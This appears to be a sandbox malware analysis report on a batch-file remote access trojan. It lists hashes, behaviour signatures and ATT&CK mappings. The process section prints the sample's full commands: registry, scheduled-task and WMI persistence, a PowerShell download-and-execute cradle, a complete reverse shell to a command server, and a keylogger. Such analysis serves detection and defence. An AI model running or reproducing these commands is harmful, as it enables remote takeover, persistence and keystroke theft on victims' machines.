Analysis
- max time kernel
149s - max time network
154s - platform
windows10-2004_x64 - resource
win10v2004-20260513-en - resource tags
arch:x64arch:x86image:win10v2004-20260513-enlocale:en-usos:windows10-2004-x64systemwindows - submitted
29/05/2026, 22:24
Static task
static1
Behavioral task
behavioral1
Sample
rat_build_47811_014212.bat
Resource
win10v2004-20260513-en
Behavioral task
behavioral2
Sample
rat_build_47811_014212.bat
Resource
win11-20260513-en
General
- Target rat_build_47811_014212.bat
- Size 4KB
- Sample260529-2bbnaaaz3y
- SHA256 c6b4f1c59a54fb169944bd058fb972f4f984722024887204f3f7c466af9406e3
- MD5 46370a84fb1a94a0e14cb86ac53ff84e
- SHA1 89ed1110ac99629bd112d0ecf223f7b951e63d96
- SHA512 831ae40c288c1b3bd03e404f9ec05fb1a1d5296b48f755bfa9f095ebc0c9c6f680c2a56c614d669ffe17d154d19a06e006a0348d54fe2ea1b8c7dfe274bbb0e8
- SSDEEP 96:IICgWIgHE5Ocg6fLMDOV9GnNr/ZBWNsLRusgZXJXwBmhiFgZk8mvlo1DU:IdIgHEMcZMDKGnNr/jW0RuswmBoiFgkX
- TLSH T114A108239747B220C5B13A58DA323D5C13ACD9FB2300CA9DAF8C8DC51B0DE87952A5D7
- MD5 SHA1 SHA512 SSDEEP TLSH
Malware Config
Extracted
-
ps1
-
ps1.dropper
http://payload.server/update_47811.ps1
Signatures
- Command and Scripting Interpreter: PowerShell 1 TTPs 3 IoCs
Run Powershell and hide display window.
pid Process 4412 powershell.exe 2380 powershell.exe 3512 powershell.exe - Adds Run key to start application 2 TTPs 1 IoCs
description ioc Process Set value (str) \REGISTRY\USER\S-1-5-21-2370214745-1838013427-2987045292-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Updater_47811 = "C:\\Users\\Admin\\AppData\\Local\\Temp\\_47811.bat" reg.exe - Looks up external IP address via web service 1 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.
flow ioc 3 checkip.amazonaws.com - Gathers network information 2 TTPs 1 IoCs
Uses commandline utility to view network configuration.
pid Process 4240 NETSTAT.EXE - Gathers system information 1 TTPs 1 IoCs
Runs systeminfo.exe.
pid Process 4536 systeminfo.exe - Modifies registry key 1 TTPs 1 IoCs
pid Process 3496 reg.exe - Scheduled Task/Job: Scheduled Task 1 TTPs 1 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
pid Process 3892 schtasks.exe - Suspicious behavior: EnumeratesProcesses 9 IoCs
pid Process 2380 powershell.exe 2380 powershell.exe 2380 powershell.exe 3512 powershell.exe 3512 powershell.exe 3512 powershell.exe 4412 powershell.exe 4412 powershell.exe 4412 powershell.exe - Suspicious use of AdjustPrivilegeToken 64 IoCs
description pid Process Token: SeIncreaseQuotaPrivilege 2612 WMIC.exe Token: SeSecurityPrivilege 2612 WMIC.exe Token: SeTakeOwnershipPrivilege 2612 WMIC.exe Token: SeLoadDriverPrivilege 2612 WMIC.exe Token: SeSystemProfilePrivilege 2612 WMIC.exe Token: SeSystemtimePrivilege 2612 WMIC.exe Token: SeProfSingleProcessPrivilege 2612 WMIC.exe Token: SeIncBasePriorityPrivilege 2612 WMIC.exe Token: SeCreatePagefilePrivilege 2612 WMIC.exe Token: SeBackupPrivilege 2612 WMIC.exe Token: SeRestorePrivilege 2612 WMIC.exe Token: SeShutdownPrivilege 2612 WMIC.exe Token: SeDebugPrivilege 2612 WMIC.exe Token: SeSystemEnvironmentPrivilege 2612 WMIC.exe Token: SeRemoteShutdownPrivilege 2612 WMIC.exe Token: SeUndockPrivilege 2612 WMIC.exe Token: SeManageVolumePrivilege 2612 WMIC.exe Token: 33 2612 WMIC.exe Token: 34 2612 WMIC.exe Token: 35 2612 WMIC.exe Token: 36 2612 WMIC.exe Token: SeIncreaseQuotaPrivilege 2612 WMIC.exe Token: SeSecurityPrivilege 2612 WMIC.exe Token: SeTakeOwnershipPrivilege 2612 WMIC.exe Token: SeLoadDriverPrivilege 2612 WMIC.exe Token: SeSystemProfilePrivilege 2612 WMIC.exe Token: SeSystemtimePrivilege 2612 WMIC.exe Token: SeProfSingleProcessPrivilege 2612 WMIC.exe Token: SeIncBasePriorityPrivilege 2612 WMIC.exe Token: SeCreatePagefilePrivilege 2612 WMIC.exe Token: SeBackupPrivilege 2612 WMIC.exe Token: SeRestorePrivilege 2612 WMIC.exe Token: SeShutdownPrivilege 2612 WMIC.exe Token: SeDebugPrivilege 2612 WMIC.exe Token: SeSystemEnvironmentPrivilege 2612 WMIC.exe Token: SeRemoteShutdownPrivilege 2612 WMIC.exe Token: SeUndockPrivilege 2612 WMIC.exe Token: SeManageVolumePrivilege 2612 WMIC.exe Token: 33 2612 WMIC.exe Token: 34 2612 WMIC.exe Token: 35 2612 WMIC.exe Token: 36 2612 WMIC.exe Token: SeIncreaseQuotaPrivilege 3440 WMIC.exe Token: SeSecurityPrivilege 3440 WMIC.exe Token: SeTakeOwnershipPrivilege 3440 WMIC.exe Token: SeLoadDriverPrivilege 3440 WMIC.exe Token: SeSystemProfilePrivilege 3440 WMIC.exe Token: SeSystemtimePrivilege 3440 WMIC.exe Token: SeProfSingleProcessPrivilege 3440 WMIC.exe Token: SeIncBasePriorityPrivilege 3440 WMIC.exe Token: SeCreatePagefilePrivilege 3440 WMIC.exe Token: SeBackupPrivilege 3440 WMIC.exe Token: SeRestorePrivilege 3440 WMIC.exe Token: SeShutdownPrivilege 3440 WMIC.exe Token: SeDebugPrivilege 3440 WMIC.exe Token: SeSystemEnvironmentPrivilege 3440 WMIC.exe Token: SeRemoteShutdownPrivilege 3440 WMIC.exe Token: SeUndockPrivilege 3440 WMIC.exe Token: SeManageVolumePrivilege 3440 WMIC.exe Token: 33 3440 WMIC.exe Token: 34 3440 WMIC.exe Token: 35 3440 WMIC.exe Token: 36 3440 WMIC.exe Token: SeIncreaseQuotaPrivilege 3440 WMIC.exe - Suspicious use of WriteProcessMemory 10 IoCs
description pid Process procid_target PID 4156 wrote to memory of 3892 4156 cmd.exe 87 PID 4156 wrote to memory of 3496 4156 cmd.exe 88 PID 4156 wrote to memory of 2612 4156 cmd.exe 89 PID 4156 wrote to memory of 3440 4156 cmd.exe 91 PID 4156 wrote to memory of 2892 4156 cmd.exe 92 PID 4156 wrote to memory of 4536 4156 cmd.exe 105 PID 4156 wrote to memory of 4240 4156 cmd.exe 108 PID 4156 wrote to memory of 2380 4156 cmd.exe 109 PID 4156 wrote to memory of 3512 4156 cmd.exe 110 PID 4156 wrote to memory of 4412 4156 cmd.exe 111 - Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
Processes
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\rat_build_47811_014212.bat"1⤵
- Suspicious use of WriteProcessMemory
PID:4156 -
C:\Windows\system32\schtasks.exeschtasks /create /tn "WinUpdate_47811" /tr "C:\Users\Admin\AppData\Local\Temp\_47811.bat" /sc onlogon /ru "SYSTEM" /f2⤵
- Scheduled Task/Job: Scheduled Task
PID:3892
-
-
C:\Windows\system32\reg.exereg add HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v "Updater_47811" /t REG_SZ /d "C:\Users\Admin\AppData\Local\Temp\_47811.bat" /f2⤵
- Adds Run key to start application
- Modifies registry key
PID:3496
-
-
C:\Windows\System32\Wbem\WMIC.exewmic /NAMESPACE:"\\root\subscription" PATH __EventFilter CREATE Name="filt_47811", EventNameSpace="root\cimv2", QueryLanguage="WQL", Query="SELECT * FROM Win32_ProcessStartTrace WHERE ProcessName='explorer.exe'"2⤵
- Suspicious use of AdjustPrivilegeToken
PID:2612
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-
C:\Windows\System32\Wbem\WMIC.exewmic /NAMESPACE:"\\root\subscription" PATH CommandLineEventConsumer CREATE Name="cons_47811", CommandLineTemplate="cmd /c C:\Users\Admin\AppData\Local\Temp\_47811.bat"2⤵
- Suspicious use of AdjustPrivilegeToken
PID:3440
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-
C:\Windows\system32\curl.execurl -s http://checkip.amazonaws.com -o C:\Users\Admin\AppData\Local\Temp\ip_47811.txt2⤵PID:2892
-
-
C:\Windows\system32\systeminfo.exesysteminfo2⤵
- Gathers system information
PID:4536
-
-
C:\Windows\system32\NETSTAT.EXEnetstat -an2⤵
- Gathers network information
PID:4240
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "IEX((New-Object Net.WebClient).DownloadString('http://payload.server/update_47811.ps1'))"2⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
PID:2380
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "$client = New-Object System.Net.Sockets.TCPClient('c2.server.com',443);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0,$i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()"2⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
PID:3512
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "$w=(New-Object -ComObject WScript.Shell).Popup("Updating...",0,"Windows",0+48);$k=New-Object -ComObject WScript.Shell;$k.Run("powershell -WindowStyle Hidden -Command "$d=[Environment]::GetFolderPath('Desktop');$i=0;while($true){$key=[Console]::ReadKey($true);$t=$key.Key.ToString();if($t -eq 'Enter'){$t='[ENTER]'};Add-Content -Path $d\log.txt -Value $t}"),0,true"2⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
PID:4412
-
Network
MITRE ATT&CK Enterprise v16
Execution
Command and Scripting Interpreter
2PowerShell
1Scheduled Task/Job
1Scheduled Task
1Persistence
Boot or Logon Autostart Execution
1Registry Run Keys / Startup Folder
1Scheduled Task/Job
1Scheduled Task
1Replay Monitor
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Downloads
- Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
- Size 2KB
- SHA256 3b0068d29ae4b20c447227fbf410aa2deedfef6220ccc3f698f3c7707c032c55
- MD5 2f57fde6b33e89a63cf0dfdd6e60a351
- SHA1 445bf1b07223a04f8a159581a3d37d630273010f
- SHA512 42857c5f111bfa163e9f4ea6b81a42233d0bbb0836ecc703ce7e8011b6f8a8eca761f39adc3ed026c9a2f99206d88bab9bddb42da9113e478a31a6382af5c220
- TLSH T15F51EE323375B1D8C9167F071E68198053BF4355EAA4AF1CB69C625EDD2640B9F222F3
- MD5 SHA1 SHA512 TLSH
- Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
- Size 1KB
- SHA256 2b35117295381a8b768bf9622896302e537159658679fe23ebb83f3eb784c083
- MD5 a76fe52f456c70c54205f6abe3ad5a1b
- SHA1 25e7b3f80b69b2e533ccfb417ddbcf8fd12676d0
- SHA512 7c678d7f23201b6f85c45444143ff6ada42fac551414a10f90d8afefbf607eab95b419600006fea91d58af2a52d7fee40fd0d1e4706939f906394a688c2f7ebc
- TLSH T1B9117627F39CC921CC96153A409DAC1172B683DB81AEDF9FAFC4D214A07F984CB712A4
- MD5 SHA1 SHA512 TLSH
- Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
- Size 1KB
- SHA256 02f480620132cb6ea1fc4f651610692e2b5b121c5f0ad68699e0670fd9994961
- MD5 b039ee0dadcb1ada767fa6cdd138f0de
- SHA1 d30b5d432351c942213db1d8848b56dee00b9114
- SHA512 f975bac071093a9c7a15cdc7ff0a77effb22d6cd774e79abf471922f8f29582bce5c4ef79637933e3c7c44fd11a1b09a6e2cc38de0496e443717287b50c35b0d
- TLSH T16C115727B39C89A1CC96153A409D9C1172B683D7409EDEDF6BC0D214A17F584CB61190
- MD5 SHA1 SHA512 TLSH
- Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_fiohkgjs.ivo.ps1
- Size 60B
- SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
- MD5 d17fe0a3f47be24a6453e9ef58c94641
- SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
- SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
- TLSH T177A02228CC303B200020C0080A000002C00B800C080C8C0220000A00B20B820002F080
- MD5 SHA1 SHA512 TLSH